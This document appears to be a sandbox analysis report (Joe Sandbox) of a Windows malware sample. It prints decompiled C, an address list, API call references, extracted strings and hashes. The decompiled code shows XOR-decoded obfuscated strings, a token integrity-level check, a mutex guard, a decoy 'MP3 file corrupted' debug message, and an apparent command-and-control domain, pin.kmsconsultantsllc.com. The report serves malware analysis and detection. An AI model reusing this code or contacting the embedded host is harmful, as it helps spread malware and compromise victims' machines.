									if(__eflags >= 0) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t359 = _v28 % 6 - 0x74; // 0x6b
										__eflags =  *(_t601 + _v28 - 0xdc) & 0x000000ff ^  *(_t601 + _t359) & 0x000000ff;
										E00402AE0( &_v68, _v28,  *(_t601 + _v28 - 0xdc) & 0x000000ff ^  *(_t601 + _t359) & 0x000000ff);
									}
									_t523 = _v28 + 1;
									__eflags = _t523;
									_v28 = _t523;
								}
								_v60 = HeapAlloc(GetProcessHeap(), 8, 0x208);
								_v64 = HeapAlloc(GetProcessHeap(), 8, 0x208);
								memset(_v60, 0, 0x208 << 0);
								memset(_v64, 0, 0x208 << 0);
								ExpandEnvironmentStringsW(E00402AD0( &_v72), _v60, 0x104);
								ExpandEnvironmentStringsW(E00402AD0( &_v68), _v64, 0x104);
								__eflags = E0040DA90(__eflags);
								if(__eflags != 0) {
									L50:
									E00416AF0(__eflags); // executed
									_t428 = CreateThread(0, 0, E0040EB00, 0, 0, 0); // executed
									CloseHandle(_t428);
									HeapFree(GetProcessHeap(), 0, _v60);
									HeapFree(GetProcessHeap(), 0, _v64);
									while(1) {
										__eflags = 1;
										if(1 == 0) {
											break;
										}
										Sleep(0xffffffff); // executed
									}
									E00402B30( &_v68);
									E00402B30( &_v72);
									E00402B30( &_v40);
									E00402B30( &_v44);
									E00402B30( &_v48);
									return E00402B30( &_v52);
								}
								_t441 = E00404C60();
								__eflags = _t441;
								if(_t441 != 0) {
									L49:
									_t521 =  *0x42934c; // 0x66fab0
									E00418710(_t521);
									ExitProcess(0); // executed
								}
								_t443 =  *0x42934c; // 0x66fab0
								__eflags = E00404B80(_t443);
								if(__eflags == 0) {
									goto L50;
								}
								goto L49;
							}
							_t455 =  *0x42934c; // 0x66fab0
							E004124A0(__eflags, _t455);
							HeapFree(GetProcessHeap(), 0, _v36);
							ExitProcess(0);
						}
						E00408600();
						_v308 = 0;
						E00402B30( &_v40);
						E00402B30( &_v44);
						E00402B30( &_v48);
						E00402B30( &_v52);
						return _v308;
					}
					ExitProcess(0x4df);
				}
				return 1;
			}

0x00415feb
0x00415ff5
0x00415fff
0x00416006
0x0041600d
0x00416014
0x0041601b
0x00416022
0x00416030
0x0041603a
0x00416040
0x00416044
0x00416048
0x0041604c
0x00416050
0x00416054
0x00416058
0x0041605c
0x00416060
0x00416064
0x00416068
0x0041606c
0x00416070
0x00416074
0x00416078
0x0041607c
0x00416080
0x00416084
0x0041608d
0x00416092
0x004160a4
0x004160a4
0x004160a8
0x00000000
0x00000000
0x004160af
0x004160b1
0x004160be
0x004160c6
0x004160cb
0x004160d5
0x004160d5
0x0041609e
0x0041609e
0x004160a1
0x004160a1
0x004160dc
0x004160e3
0x004160ea
0x004160f1
0x004160f8
0x004160ff
0x00416106
0x0041610d
0x00416114
0x0041611b
0x00416122
0x00416129
0x00416130
0x00416137
0x0041613e
0x00416145
0x0041614c
0x00416153
0x0041615a
0x00416161
0x00416165
0x00416169
0x0041616d
0x00416171
0x0041617a
0x0041617f
0x00416191
0x00416191
0x00416195
0x00000000
0x00000000
0x0041619c
0x0041619e
0x004161ae
0x004161b6
0x004161bb
0x004161c5
0x004161c5
0x0041618b
0x0041618b
0x0041618e
0x0041618e
0x004161cc
0x004161d3
0x004161da
0x004161e1
0x004161e8
0x004161ef
0x004161f6
0x004161fd
0x00416204
0x0041620b
0x00416212
0x00416219
0x00416220
0x00416227
0x0041622e
0x00416235
0x0041623c
0x00416243
0x0041624a
0x0041624e
0x00416252
0x00416256
0x0041625a
0x00416263
0x00416268
0x0041627a
0x0041627a
0x0041627e
0x00000000
0x00000000
0x00416285
0x00416287
0x00416297
0x0041629f
0x004162a4
0x004162ae
0x004162ae
0x00416274
0x00416274
0x00416277
0x00416277
0x004162b5
0x004162bc
0x004162c3
0x004162ca
0x004162d1
0x004162d8
0x004162df
0x004162e6
0x004162ed
0x004162f4
0x004162fb
0x00416302
0x00416309
0x0041630d
0x00416311
0x00416315
0x00416319
0x0041631d
0x00416326
0x0041632b
0x0041633d
0x0041633d
0x00416341
0x00000000
0x00000000
0x00416348
0x0041634a
0x0041635a
0x00416362
0x00416367
0x00416371
0x00416371
0x00416337
0x00416337
0x0041633a
0x0041633a
0x00416385
0x0041638a
0x004163a0
0x004163a6
0x004163ac
0x004163b2
0x004163c6
0x004163e0
0x004163ed
0x004163fa
0x00416403
0x00416416
0x0041641c
0x0041641e
0x0041643a
0x00416440
0x00416442
0x0041648d
0x00416493
0x0041649a
0x004164a4
0x004164ae
0x004164be
0x004164d6
0x004164f4
0x004164fa
0x00416501
0x00416509
0x00416509
0x00416512
0x00416512
0x00416518
0x0041651f
0x00416547
0x0041654e
0x00416555
0x0041655c
0x00416563
0x0041656a
0x00416571
0x00416578
0x0041657f
0x00416586
0x0041658d
0x00416594
0x0041659b
0x004165a2
0x004165a9
0x004165b0
0x004165b7
0x004165be
0x004165c5
0x004165cc
0x004165d3
0x004165da
0x004165e1
0x004165e8
0x004165ef
0x004165f6
0x004165fd
0x00416604
0x0041660b
0x00416612
0x00416619
0x00416620
0x00416627
0x0041662e
0x00416635
0x0041663c
0x00416643
0x0041664a
0x00416651
0x00416658
0x0041665f
0x00416666
0x0041666d
0x00416674
0x0041667b
0x00416682
0x00416689
0x00416690
0x00416697
0x0041669e
0x004166a5
0x004166ac
0x004166b3
0x004166ba
0x004166c1
0x004166c8
0x004166cf
0x004166d6
0x004166dd
0x004166e4
0x004166eb
0x004166f2
0x004166f9
0x00416700
0x00416707
0x0041670e
0x00416715
0x0041671c
0x00416723
0x0041672a
0x00416731
0x00416738
0x0041673f
0x00416746
0x0041674d
0x00416754
0x0041675b
0x00416762
0x00416769
0x0041676d
0x00416771
0x00416775
0x00416779
0x0041677d
0x00416789
0x0041678e
0x004167a0
0x004167a0
0x004167a4
0x00000000
0x00000000
0x004167ab
0x004167ad
0x004167bd
0x004167c5
0x004167ca
0x004167d4
0x004167d4
0x0041679a
0x0041679a
0x0041679d
0x0041679d
0x004167db
0x004167e2
0x004167e9
0x004167f0
0x004167f7
0x004167fe
0x00416805
0x0041680c
0x00416813
0x0041681a
0x00416821
0x00416828
0x0041682f
0x00416836
0x0041683d
0x00416844
0x0041684b
0x00416852
0x00416859
0x00416860
0x00416867
0x0041686e
0x00416875
0x0041687c
0x00416883
0x0041688a
0x00416891
0x00416898
0x0041689f
0x004168a6
0x004168ad
0x004168b4
0x004168bb
0x004168c2
0x004168c9
0x004168d0
0x004168d7
0x004168de
0x004168e5
0x004168ec
0x004168f3
0x004168f7
0x004168fb
0x004168ff
0x00416903
0x00416907
0x00416910
0x00416915
0x00416927
0x00416927
0x0041692b
0x00000000
0x00000000
0x00416932
0x00416934
0x00416944
0x0041694c
0x00416951
0x0041695b
0x0041695b
0x00416921
0x00416921
0x00416924
0x00416924
0x00416976
0x0041698d
0x0041699a
0x004169a6
0x004169ba
0x004169d2
0x004169dd
0x004169df
0x00416a55
0x00416a55
0x00416a69
0x00416a70
0x00416a83
0x00416a96
0x00416a9c
0x00416aa1
0x00416aa3
0x00000000
0x00000000
0x00416aa7
0x00416aa7
0x00416ab2
0x00416aba
0x00416ac2
0x00416aca
0x00416ad2
0x00000000
0x00416ada
0x004169e1
0x004169e6
0x004169e8
0x004169f9
0x004169f9
0x00416a00
0x00416a0a
0x00416a0a
0x004169ea
0x004169f5
0x004169f7
0x00000000
0x00000000
0x00000000
0x004169f7
0x00416521
0x00416527
0x00416539
0x00416541
0x00416541
0x00416444
0x00416449
0x00416456
0x0041645e
0x00416466
0x0041646e
0x00000000
0x00416473
0x00416425
0x00416425
0x00000000

APIs

Part of subcall function 0041B410: WSAStartup.WS2_32(?,?), ref: 0041B42E
Part of subcall function 0041B410: WSACleanup.WS2_32 ref: 0041B469
Part of subcall function 0041B410: timeBeginPeriod.WINMM(00000001), ref: 0041B476

SetErrorMode.KERNELBASE(00000000), ref: 00416030
SetErrorMode.KERNELBASE(00000000), ref: 0041603A

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 00416399
GetProcAddress.KERNELBASE(00000000), ref: 004163A0
GetCommandLineW.KERNELBASE ref: 004163AC
GetProcessHeap.KERNEL32(00000008,00000208), ref: 004163D3
HeapAlloc.KERNEL32(00000000), ref: 004163DA
GetModuleFileNameW.KERNELBASE(00000000,00000000,00000104), ref: 004163FA
StrStrIW.SHLWAPI(00000000,00000000), ref: 00416416
ExitProcess.KERNEL32 ref: 00416425
StrStrIW.SHLWAPI(00000000,00000000), ref: 0041643A
GetCurrentProcess.KERNEL32 ref: 0041647E

Part of subcall function 004110F0: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00411108
Part of subcall function 004110F0: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00411124
Part of subcall function 004110F0: GetLastError.KERNEL32 ref: 00411132
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000008,?), ref: 00411147
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000), ref: 0041114E
Part of subcall function 004110F0: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,?,?,00000015), ref: 00411235
Part of subcall function 004110F0: GetSidSubAuthorityCount.ADVAPI32(?,00000012), ref: 004112FF
Part of subcall function 004110F0: GetSidSubAuthority.ADVAPI32(00000000,?,00000010,?,00000012), ref: 004113D8
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041143C
Part of subcall function 004110F0: HeapFree.KERNEL32(00000000), ref: 00411443
Part of subcall function 004110F0: CloseHandle.KERNEL32(?), ref: 00411458

GetVersion.KERNEL32 ref: 004164B8
GetProcessHeap.KERNEL32(00000000,00000000,0066FAB0), ref: 00416532
HeapFree.KERNEL32(00000000), ref: 00416539
ExitProcess.KERNEL32 ref: 00416541
GetProcessHeap.KERNEL32(00000008,00000208,00000050,0000009C), ref: 00416969
HeapAlloc.KERNEL32(00000000), ref: 00416970
GetProcessHeap.KERNEL32(00000008,00000208), ref: 00416980
HeapAlloc.KERNEL32(00000000), ref: 00416987
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000104), ref: 004169BA
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000104), ref: 004169D2

Part of subcall function 0040DA90: GetEnvironmentVariableA.KERNEL32(00000000,?,00000104,0000000D,00000000), ref: 0040DB62
Part of subcall function 0040DA90: lstrlenA.KERNEL32(?), ref: 0040DB73

ExitProcess.KERNEL32 ref: 00416A0A

Part of subcall function 00404B80: PathFindFileNameW.SHLWAPI(004169F5), ref: 00404B8A

Part of subcall function 00418710: lstrlenW.KERNEL32(00416A05), ref: 00418728
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000008,?), ref: 00418752
Part of subcall function 00418710: HeapAlloc.KERNEL32(00000000), ref: 00418759
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000008,?), ref: 00418779
Part of subcall function 00418710: HeapAlloc.KERNEL32(00000000), ref: 00418780
Part of subcall function 00418710: lstrcpyW.KERNEL32(00000000,00000000), ref: 0041879B
Part of subcall function 00418710: GetTickCount.KERNEL32(00000020), ref: 0041886D
Part of subcall function 00418710: wsprintfW.USER32 ref: 00418884
Part of subcall function 00418710: wsprintfW.USER32 ref: 0041889A
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000008,00000104), ref: 004188AA
Part of subcall function 00418710: HeapAlloc.KERNEL32(00000000), ref: 004188B1
Part of subcall function 00418710: GetTickCount.KERNEL32 ref: 004188C4
Part of subcall function 00418710: wsprintfA.USER32 ref: 00418A63
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418A9B
Part of subcall function 00418710: HeapFree.KERNEL32(00000000), ref: 00418AA2
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418AB6
Part of subcall function 00418710: HeapFree.KERNEL32(00000000), ref: 00418ABD
Part of subcall function 00418710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00418AD4
Part of subcall function 00418710: HeapFree.KERNEL32(00000000), ref: 00418ADB

Part of subcall function 00416AF0: OpenMutexW.KERNEL32(001F0001,00000000,00000000,00000060), ref: 00416C33
Part of subcall function 00416AF0: CreateMutexW.KERNELBASE(00000000,00000000,00000000), ref: 00416C4F
Part of subcall function 00416AF0: GetCurrentProcess.KERNEL32(00000000), ref: 00416C5C
Part of subcall function 00416AF0: TerminateProcess.KERNEL32(00000000), ref: 00416C63

CreateThread.KERNELBASE(00000000,00000000,0040EB00,00000000,00000000,00000000), ref: 00416A69
CloseHandle.KERNEL32(00000000), ref: 00416A70
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00416A7C
HeapFree.KERNEL32(00000000), ref: 00416A83
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00416A8F
HeapFree.KERNEL32(00000000), ref: 00416A96
Sleep.KERNELBASE(000000FF), ref: 00416AA7

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 004124A0: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000104,00000068,00000000), ref: 004126FA
Part of subcall function 004124A0: GetShortPathNameW.KERNEL32 ref: 00412710
Part of subcall function 004124A0: wsprintfW.USER32 ref: 00412829
Part of subcall function 004124A0: CoInitializeEx.OLE32(00000000,00000006), ref: 0041292E
Part of subcall function 004124A0: LoadLibraryA.KERNEL32(00000000), ref: 00412AA0
Part of subcall function 004124A0: GetProcAddress.KERNEL32(00000000), ref: 00412AA7
Part of subcall function 004124A0: GetForegroundWindow.USER32 ref: 00412AB3
Part of subcall function 004124A0: GetLastError.KERNEL32 ref: 00412AD4
Part of subcall function 004124A0: Sleep.KERNEL32(00000064), ref: 00412AF0
Part of subcall function 004124A0: CoUninitialize.OLE32 ref: 00412AFF
Part of subcall function 004124A0: CloseHandle.KERNEL32(?), ref: 00412B16

Part of subcall function 00408600: VirtualProtect.KERNEL32(pin.kmsconsultantsllc.com,00000184,00000040,?,00000000), ref: 0040862F
Part of subcall function 00408600: VirtualProtect.KERNEL32(pin.kmsconsultantsllc.com,00000184,?,?,pin.kmsconsultantsllc.com,00000184), ref: 0040865A
Part of subcall function 00408600: GetModuleHandleW.KERNEL32(00000000,00000343,?,?,?,?,?,?,?,?,?,?,?,?,00416449), ref: 00408667
Part of subcall function 00408600: Sleep.KERNEL32(000000FF,?,?,00000000,?,?), ref: 00408747

Strings

9, xrefs: 00416898
:, xrefs: 004160DC
9, xrefs: 00416844
D, xrefs: 004166AC
%, xrefs: 004160E3
w, xrefs: 0041671C
9c1UU, xrefs: 0041629F
Q, xrefs: 00416731
d, xrefs: 00416563
B, xrefs: 004168E5
q, xrefs: 004166DD
/, xrefs: 0041622E
a, xrefs: 0041687C
w, xrefs: 00416746
$, xrefs: 004166A5
f, xrefs: 00416860
7, xrefs: 00416738
a, xrefs: 00416828
%, xrefs: 00416627
7, xrefs: 0041656A
dwJD47, xrefs: 004167C5
w, xrefs: 0041664A
D, xrefs: 00416754
>, xrefs: 0041667B
7, xrefs: 00416883
6, xrefs: 00416867
f, xrefs: 0041688A
Q, xrefs: 00416689
:, xrefs: 004166F9
9, xrefs: 0041681A
8, xrefs: 004165C5
7, xrefs: 0041663C
A, xrefs: 00416212
f, xrefs: 00416836
^, xrefs: 0041611B
(, xrefs: 00416927
Q, xrefs: 004166B3
k, xrefs: 004162F4
7, xrefs: 00416666
D, xrefs: 0041655C
w, xrefs: 0041654E
', xrefs: 00416040
9, xrefs: 0041686E
", xrefs: 00416204
", xrefs: 00416130
|, xrefs: 004162B5
x, xrefs: 004161E8
9, xrefs: 00416235
D, xrefs: 0041672A
", xrefs: 004162DF
9, xrefs: 004168EC
N, xrefs: 004167DB
0, xrefs: 0041659B
<, xrefs: 0041614C
7, xrefs: 00416594
6, xrefs: 00416813
>, xrefs: 00416060
}, xrefs: 0041665F
1, xrefs: 00416243
F, xrefs: 00416058
B, xrefs: 0041613E
D, xrefs: 00416682
f, xrefs: 004168DE
w, xrefs: 00416578
[, xrefs: 00416054
R, xrefs: 00416635
w, xrefs: 004165A2
8, xrefs: 004165FD
D, xrefs: 0041662E
D, xrefs: 00416604
N, xrefs: 004162BC
w, xrefs: 004166F2
X, xrefs: 00416707
7, xrefs: 00416690
K, xrefs: 004162D8
r, xrefs: 0041615A
tsZ4Gh, xrefs: 004160C6
1, xrefs: 004161FD
w, xrefs: 00416620
7, xrefs: 004168D7
D, xrefs: 004165DA
7, xrefs: 004165E8
c, xrefs: 00416219
f, xrefs: 004167E2
N, xrefs: 004162E6
N, xrefs: 004167A0
w, xrefs: 004166C8
U, xrefs: 0041620B
w, xrefs: 004165CC
D, xrefs: 004165B0
], xrefs: 0041605C
8, xrefs: 00416723
4, xrefs: 00416571
f, xrefs: 004168B4
D, xrefs: 00416586
7, xrefs: 004166BA
QNbkZK, xrefs: 00416362
D, xrefs: 00416700
u, xrefs: 0041658D
c, xrefs: 0041623C
a, xrefs: 004168A6
, xrefs: 004160EA
Q, xrefs: 004160F8
kfB9ba, xrefs: 0041694C
3, xrefs: 00416137
a, xrefs: 004167FE
w, xrefs: 004165F6
7, xrefs: 004165BE
7, xrefs: 00416612
7, xrefs: 0041670E
H, xrefs: 00416220
a, xrefs: 00416852
a, xrefs: 004168D0
w, xrefs: 0041669E
f, xrefs: 0041680C
c, xrefs: 004161D3
., xrefs: 00416106
w, xrefs: 00416674
U, xrefs: 00416227
K, xrefs: 00416302
7, xrefs: 00416762
], xrefs: 004165E1
U, xrefs: 004161E1
+, xrefs: 00416068
k, xrefs: 004162CA
9, xrefs: 004168C2
yJMr0, xrefs: 004161B6
9, xrefs: 004161EF
), xrefs: 004168BB
[, xrefs: 0041660B
x, xrefs: 0041604C
4, xrefs: 0041675B
7, xrefs: 004166E4
?, xrefs: 004162D1
A, xrefs: 00416547
h, xrefs: 0041606C
9, xrefs: 004167F0
D, xrefs: 004166D6
G, xrefs: 00416875
j, xrefs: 004166CF
;, xrefs: 00416044
D, xrefs: 00416658
Z, xrefs: 004162FB
X, xrefs: 00416064

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$EnvironmentErrorHandlewsprintf$CloseCountExitExpandNameSleepStringsToken$AddressAuthorityCreateCurrentFileInformationLastLibraryLoadModeModuleMutexOpenPathProcProtectTickVirtuallstrlen$BeginCleanupCommandFindForegroundInitializeLinePeriodShortStartupTerminateThreadUninitializeVariableVersionWindowlstrcpytime
String ID: $"$"$"$$$%$%$'$($)$+$.$/$0$1$1$3$4$4$6$6$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$8$8$8$9$9$9$9$9$9$9$9$9$9c1UU$:$:$;$<$>$>$?$A$A$B$B$D$D$D$D$D$D$D$D$D$D$D$D$D$F$G$H$K$K$N$N$N$N$Q$Q$Q$Q$QNbkZK$R$U$U$U$X$X$Z$[$[$]$]$^$a$a$a$a$a$a$c$c$c$d$dwJD47$f$f$f$f$f$f$f$h$j$k$k$kfB9ba$q$r$tsZ4Gh$u$w$w$w$w$w$w$w$w$w$w$w$w$w$x$x$yJMr0$|$}
API String ID: 1910241136-1527698412
Opcode ID: 1d80b5610ac6130818e324b85fc0c28564418f89a074c672f7c54d94561825e7
Instruction ID: 948324dfa7a37502e7eb4b88931e1f299dee730e0bcd1d123761de44c9b6600d
Opcode Fuzzy Hash: 1d80b5610ac6130818e324b85fc0c28564418f89a074c672f7c54d94561825e7
Instruction Fuzzy Hash: 986213709082D8DAEB21C768CC597DEBFB55F16308F0440D9D5897B2C2C7BA1A89CF26

Function 0040EB00, Relevance: 275.6, APIs: 24, Strings: 133, Instructions: 860
threadmemorysleepCrypto

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E0040EB00(void* __ecx, void* __eflags, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				char _v58;
				char _v59;
				char _v60;
				signed int _v64;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v404;
				long _v408;
				long _v412;
				struct _SECURITY_ATTRIBUTES* _v416;
				long _v420;
				void _v432;
				struct _SECURITY_ATTRIBUTES* _v436;
				signed int _v463;
				void _v464;
				char _v528;
				char _v592;
				short _v1112;
				void* _t528;
				void* _t530;
				signed int _t532;
				struct HINSTANCE__* _t535;
				signed int _t546;
				intOrPtr _t547;
				signed int _t548;
				signed int _t549;
				signed int _t551;
				signed short _t558;
				intOrPtr _t565;
				CHAR* _t573;
				void* _t588;
				void* _t591;
				void* _t594;
				void* _t597;
				signed int _t599;
				void* _t600;
				signed int _t627;
				void* _t681;
				void* _t683;
				signed int _t696;
				intOrPtr _t706;
				signed int _t709;
				void* _t724;
				signed int _t737;
				signed int _t742;
				signed int _t747;
				signed int _t756;
				signed int _t761;
				signed int _t766;
				signed int _t783;
				signed int _t800;
				signed int _t831;
				signed int _t835;
				signed int _t841;
				signed int _t844;
				signed int _t846;
				void* _t873;
				void* _t874;
				void* _t880;
				void* _t881;
				void* _t885;

				_t885 = __eflags;
				_t683 = __ecx;
				_v412 = 0;
				_v8 = 0;
				_v420 = 0x208;
				_v436 = 0;
				OutputDebugStringA("MP3 file corrupted"); // executed
				_t528 = CreateThread(0, 0, E0040E910, 0, 0, 0); // executed
				CloseHandle(_t528);
				_t530 = E0040DA90(_t885);
				_t886 = _t530;
				if(_t530 == 0) {
					E0040DD20(_t886); // executed
					E00404E60(_t683, _t886); // executed
					while(1) {
						_t681 = E00404CB0(); // executed
						if(_t681 == 0 && E00404C60() == 0) {
							goto L5;
						}
						Sleep(0x2710);
					}
				}
				L5:
				_t532 = VirtualProtect("pin.kmsconsultantsllc.com", 0x184, 0x40,  &_v408); // executed
				__eflags = _t532;
				if(_t532 != 0) {
					E004040C0("pin.kmsconsultantsllc.com", 0x184);
					VirtualProtect("pin.kmsconsultantsllc.com", 0x184, _v408,  &_v408); // executed
				}
				memset(0x429300, 0, 0x40 << 0);
				_t535 = GetModuleHandleW(0); // executed
				E00410AA0(_t535, 0x343); // executed
				memset( &_v464, 0, 0x1c << 0);
				memset( &_v432, 0, 0xc << 0);
				memset(0x4292e0, 0, 8 << 0);
				memset( &_v1112, 0, 0x208 << 0);
				_t880 = _t874 + 0x44;
				_t546 = GetUserNameW( &_v1112,  &_v420); // executed
				__eflags = _t546;
				if(__eflags != 0) {
					_v248 = 0x6d;
					_v247 = 0x64;
					_v246 = 0x1e;
					_v245 = 0x53;
					_v244 = 0x35;
					_v243 = 0x38;
					_v242 = 0x36;
					_v241 = 0x4d;
					_v240 = 0x1d;
					_v239 = 0x70;
					_v238 = 0x79;
					_v237 = 0x64;
					_v236 = 0;
					_v235 = 0x53;
					_v234 = 0x35;
					_v233 = 0x38;
					_v232 = 0x64;
					_v231 = 0x4d;
					_v136 = 0x38;
					_v135 = 0x64;
					_v134 = 0x4d;
					_v133 = 0x53;
					_v132 = 0x70;
					E00402B00( &_v400, 0x24);
					_v16 = 0;
					while(1) {
						__eflags = _v16 - 0x12;
						if(__eflags >= 0) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t55 = _v16 % 5 - 0x84; // 0x38
							__eflags =  *(_t873 + _v16 - 0xf4) & 0x000000ff ^  *(_t873 + _t55) & 0x000000ff;
							E00402AE0( &_v400, _v16,  *(_t873 + _v16 - 0xf4) & 0x000000ff ^  *(_t873 + _t55) & 0x000000ff);
						}
						_t846 = _v16 + 1;
						__eflags = _t846;
						_v16 = _t846;
					}
					SetEnvironmentVariableW(E00402AD0( &_v400),  &_v1112);
					E00402B30( &_v400);
					while(1) {
						L15:
						_t547 =  *0x429350; // 0xfa8
						_t548 = E00406E70(__eflags, _t547,  &_v464); // executed
						_t881 = _t880 + 8;
						__eflags = _t548;
						if(_t548 == 0) {
							break;
						}
						__eflags = (_v463 & 0x000000ff) - 2;
						if((_v463 & 0x000000ff) > 2) {
							_v64 = 0;
							while(1) {
								__eflags = _v64 - (_v463 & 0x000000ff) - 2;
								if(_v64 >= (_v463 & 0x000000ff) - 2) {
									goto L22;
								}
								_t841 =  *0x4292d8; // 0xa055a2d6
								 *0x4292d8 = _t841 +  *((intOrPtr*)(_t873 + _v64 * 4 - 0x1c0));
								_t844 = _v64 + 1;
								__eflags = _t844;
								_v64 = _t844;
							}
						}
						L22:
						_t549 =  *0x4292d8; // 0xa055a2d6
						 *0x4292d8 = _t549 ^ 0x03dd5193; // executed
						_t551 = E0040D8B0(); // executed
						__eflags = _t551;
						if(_t551 != 0) {
							_t696 =  *0x429358; // 0x1db10106
							__eflags = (_t696 & 0xff) - 5;
							if((_t696 & 0xff) <= 5) {
								_v360 = 0x17;
								_v359 = 0x4a;
								_v358 = 0x7e;
								_v357 = 0x73;
								_v356 = 0x5f;
								_v355 = 1;
								_v354 = 0x1a;
								_v353 = 0x33;
								_v352 = 0x1f;
								_v351 = 0xc;
								_v350 = 0x23;
								_v349 = 0xf;
								_v348 = 0x68;
								_v347 = 0x4b;
								_v346 = 0x6d;
								_v345 = 0x75;
								_v344 = 0x23;
								_v343 = 0x67;
								_v342 = 0x7b;
								_v341 = 0x34;
								_v340 = 0x6d;
								_v339 = 0x78;
								_v338 = 0x2d;
								_v337 = 0xd;
								_v336 = 0x1a;
								_v335 = 0x4b;
								_v334 = 0x11;
								_v333 = 0x76;
								_v332 = 0x5f;
								_v331 = 0x75;
								_v330 = 0x68;
								_v329 = 0x31;
								_v328 = 0x18;
